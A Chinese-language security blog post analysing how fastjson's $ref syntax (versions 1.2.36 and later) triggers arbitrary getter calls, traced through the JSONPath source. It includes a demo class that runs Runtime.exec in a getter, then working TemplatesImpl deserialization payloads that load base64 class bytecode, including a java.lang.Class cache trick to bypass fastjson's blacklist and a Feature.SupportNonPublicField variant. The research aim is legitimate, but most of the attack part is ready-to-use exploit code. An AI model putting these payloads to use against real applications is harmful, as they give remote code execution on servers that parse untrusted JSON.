fastjson $ref调用getter

之前有分析到,fastjson识别setter的流程如下:

按以下顺序判断,满足条件的话,会被当成setter调用:

  • set开头,参数长度为1,非static,方法名总长度大于3
  • 没有setter方法,有字段是bool类型,则用is加上首字母大写后的字段去查找(所以isName这种也算setter)
  • 没有setter方法,有getter方法,参数长度为0,返回类型是属于Collection 或其子类、Map 或其子类、AtomicBoolean、AtomicInteger、AtomicLong的一种

那有没有更通用的调用getter的办法呢?

在Fastjson>=1.2.36时,可以用$ref的方式调用任意getter

$ref

$ref是fastjson里的引用,引用之前出现的对象

语法 描述
{“$ref”:”$”} 引用根对象
{“$ref”:”@”} 引用自己
{“$ref”:”..”} 引用父对象
{“$ref”:”../..”} 引用父对象的父对象
{“$ref”:”$.members[0].reportTo”} 基于路径的引用

写个Test类

1
2
3
4
5
6
7
8
9
10
11
12
public class Test {
private String cmd;

public String getCmd() throws IOException {
Runtime.getRuntime().exec(cmd);
return cmd;
}

public void setCmd(String cmd) {
this.cmd = cmd;
}
}

使用$ref的测试:

1
2
3
4
5
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "[{\"@type\":\"com.yyds.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
Object o = JSON.parse(payload);
}

这里的$[0]指的是前面生成的第一个对象,也就是Test

这里只是测$ref的作用,开个autoType无所谓

调试

JSON.parse会调用handleResovleTask

handleResovleTask会取出ref的内容,并判断是否以$开头,如果是,会先调用compile,然后eval

compile就是拿JSONPath封装了一下,跟进到eval,eval先是调用init初始化,然后循环segments调用eval

进一步查看init,发现如果path不为*,则创建一个JSONPathParser,调用explain来解析路径

跟进到explain,解析处理如下:

  • 创建一个初始容量为8的Segment数组segments,调用readSegement读取下一个段,如果读到的是null则退出循环。

  • 如果读取到的段是 PropertySegment 且其 propertyName 为 “*” 且 deep 为 false,则跳过该段。

将读取到的段添加到数组中,并增加 level 计数器。

其中readSegement会根据.分割path,童话刚刚readName取到key值(cmd),readName里面就一个toString

最后segments就只有一个cmd,没有对应的value

接着看init后的segment.eval,使用getPropertyValue获取value,怎么获取的呢?

在getPropertyValue中,因为我们的Bean是一个自定义类,使用了getJavaBeanSerializer获取序列化器,然后调用getFieldValue

这个Serializer是一个ASMSerializer,如果之前看过我的fastjson分析,就知道这后面的流程其实和JSON.toJSON的流程一样了

https://godownio.github.io/2024/10/06/fastjson-liu-cheng-fen-xi-bu-han-poc/#toJSON%E8%A7%A6%E5%8F%91getter

getFieldValue进一步调用getPropertyValue

然后调用get

然后反射执行getter

总结

如果我们输出parse反序列化解析后的Object,发现{"$ref":"$[0].cmd"}解析后的值是calc,这种引用的方式为了返回value,调用了getter

为什么1.2.35 $ref不能触发

1.2.35的DefaultJSONParser.handleResolveTask不是直接调用JSONPath.eval

而是判断了refValue需要为JSONObject类

什么反向修复?

fastjson $ref调用TemplatesImpl

搞jackson的时候提到,jackson 没有setter的情况下会调用getter,于是有TemplatesImpl链。我一拍大腿说那fastjson通过$ref也可以啊!POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Id_MINIMAL_Class_TemplatesImpl {
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("[{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'test'},\n" +
"{\"$ref\":\"$[0].outputProperties\"}\n" +
"]");
System.out.printf(jsonInput);
JSON.parse(jsonInput);
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}

结果发现1.2.36早就把TemplatesImpl加入黑名单了,而>=1.2.36才能通过$ref调用getter

那我强行用MiscCodec缓存绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class Id_MINIMAL_Class_TemplatesImpl {
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"'transletBytecodes':['"+exp+"'],\n" +
"'transletName':'test'},\n" +
"{\"$ref\":\"$[1].outputProperties\"}\n" +
"]");
System.out.printf(jsonInput);
JSON.parse(jsonInput);
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}

结果发现没反应也没报错

调试跟进去发现TemplatesImpl没赋上值

在我的多方调试下,终于发现,fastjson反序列化不能调用私有和保护setter进行赋值:

所以只能用Feature.SupportNonPublicField直接对字段反射赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class Id_MINIMAL_Class_TemplatesImpl {
public static void main(String[] args) throws IOException {
String exp = readClassStr("E:\\CODE_COLLECT\\Idea_java_ProTest\\my-yso\\target\\classes\\TemplatesImpl_RuntimeEvil.class");
String jsonInput = aposToQuotes("[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},{'@type':'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +
"'_bytecodes':['"+exp+"'],\n" +
"'_name':'test'," +
"'_tfactory':{}},\n" +
"{\"$ref\":\"$[1].outputProperties\"}\n" +
"]");
System.out.printf(jsonInput);
JSON.parse(jsonInput, Feature.SupportNonPublicField);
}

public static String aposToQuotes(String json){
return json.replace("'","\"");
}

public static String readClassStr(String cls) throws IOException {
byte[] code1 = Files.readAllBytes(Paths.get("target/classes/TemplatesImpl_RuntimeEvil.class"));
return Base64.encode(code1);
}
}

此贴终结

上一篇:
fastjson jackson getter setter和constructor的区分
下一篇:
Groovy漏洞